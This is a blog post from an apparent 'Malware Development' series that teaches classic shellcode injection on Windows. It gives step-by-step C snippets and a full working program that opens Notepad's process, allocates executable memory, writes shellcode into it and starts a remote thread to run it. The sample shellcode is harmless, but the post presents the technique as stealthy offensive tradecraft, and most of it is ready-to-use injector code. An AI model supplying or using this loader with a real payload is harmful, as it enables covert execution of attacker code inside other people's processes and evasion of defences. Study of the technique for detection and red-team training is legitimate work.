Post

Process Injection: Classic Shellcode Injection

Process Injection: Classic Shellcode Injection

Welcome to another post in the Malware Development series. In this article, we’ll break down Classic Shellcode Injection—one of the most fundamental and widely used process injection techniques. We’ll explain each step in detail, describe what’s happening under the hood, and provide clear C code samples along the way. At the end, you’ll find a full working example.


What is Classic Shellcode Injection?

Classic shellcode injection is the process of injecting raw, position-independent code (shellcode) into the memory of another running process and then executing it. Shellcode is typically a small, handcrafted assembly payload designed to perform a specific action, such as spawning a shell or downloading a file. Unlike PE injection, shellcode is just a sequence of CPU instructions with no headers or sections.


Why Use Shellcode Injection?

  • Stealth: The injected code never appears as a file on disk.

  • Simplicity: The technique is straightforward and effective.

  • Flexibility: Works with any process you have access to, and can execute arbitrary code.


Step-by-Step Classic Shellcode Injection

1. Locate the Target Process

First, you need to identify the process you want to inject into. This could be any running process—commonly something benign like notepad.exe or explorer.exe. You can enumerate processes using APIs like CreateToolhelp32Snapshot or, for demonstration, use FindWindow to get a PID by window name.

Sample Code:

// Example: Find the PID of Notepad by its window title
HWND hwnd = FindWindowW(L"Notepad", NULL);
DWORD targetPID = 0;
if (hwnd) {
    GetWindowThreadProcessId(hwnd, &targetPID);
}
if (targetPID == 0) {
    printf("Target process not found.\n");
    exit(1);
}


2. Obtain a Handle to the Target Process

With the PID in hand, you need to open the process with sufficient privileges to allocate memory, write to it, and create threads.

Sample Code:

1
2
3
4
5
6
7
8
9
10
HANDLE hProcess = OpenProcess(
    PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
    FALSE,
    targetPID
);
if (hProcess == NULL) {
    printf("OpenProcess failed. Error: %d\n", GetLastError());
    exit(1);
}


3. Allocate Memory in the Target Process

You must allocate a memory region in the target process that is large enough for your shellcode and marked as executable. This is done with VirtualAllocEx.

Sample Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xCC, 0xC3 }; // Example shellcode (NOPs + INT3 + RET)
SIZE_T shellcodeSize = sizeof(shellcode);

LPVOID remoteMem = VirtualAllocEx(
    hProcess,
    NULL,
    shellcodeSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);
if (remoteMem == NULL) {
    printf("VirtualAllocEx failed. Error: %d\n", GetLastError());
    CloseHandle(hProcess);
    exit(1);
}


4. Write the Shellcode to the Allocated Memory

Now, copy your shellcode from your process into the target process’s memory using WriteProcessMemory.

Sample Code:

1
2
3
4
5
6
if (!WriteProcessMemory(hProcess, remoteMem, shellcode, shellcodeSize, NULL)) {
    printf("WriteProcessMemory failed. Error: %d\n", GetLastError());
    VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    exit(1);
}

5. Execute the Injected Shellcode

Finally, create a new thread in the target process that starts execution at the address of your shellcode. This is done with CreateRemoteThread.

Sample Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)remoteMem,
    NULL,
    0,
    NULL
);
if (hThread == NULL) {
    printf("CreateRemoteThread failed. Error: %d\n", GetLastError());
    VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    exit(1);
}
printf("Shellcode injected and thread started!\n");


Full Working Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <windows.h>
#include <stdio.h>

int main() {
    // 1. Find Notepad PID (for demo)
    HWND hwnd = FindWindowW(L"Notepad", NULL);
    DWORD targetPID = 0;
    if (hwnd) {
        GetWindowThreadProcessId(hwnd, &targetPID);
    }
    if (targetPID == 0) {
        printf("Target process not found.\n");
        return 1;
    }

    // 2. Open target process
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
        FALSE,
        targetPID
    );
    if (hProcess == NULL) {
        printf("OpenProcess failed. Error: %d\n", GetLastError());
        return 1;
    }

    // 3. Allocate memory for shellcode
    unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xCC, 0xC3 }; // Example shellcode
    SIZE_T shellcodeSize = sizeof(shellcode);

    LPVOID remoteMem = VirtualAllocEx(
        hProcess,
        NULL,
        shellcodeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (remoteMem == NULL) {
        printf("VirtualAllocEx failed. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    // 4. Write shellcode to remote process
    if (!WriteProcessMemory(hProcess, remoteMem, shellcode, shellcodeSize, NULL)) {
        printf("WriteProcessMemory failed. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    // 5. Create remote thread to execute shellcode
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL,
        0,
        NULL
    );
    if (hThread == NULL) {
        printf("CreateRemoteThread failed. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    printf("Shellcode injected and thread started!\n");

    // Cleanup
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
}


Conclusion

Classic shellcode injection is the foundation of many process injection techniques. By following these steps—finding a target, opening it, allocating memory, writing shellcode, and creating a remote thread—you can execute arbitrary code in another process’s context. This method is simple, effective, and forms the basis for more advanced injection strategies

This post is licensed under CC BY 4.0 by the author.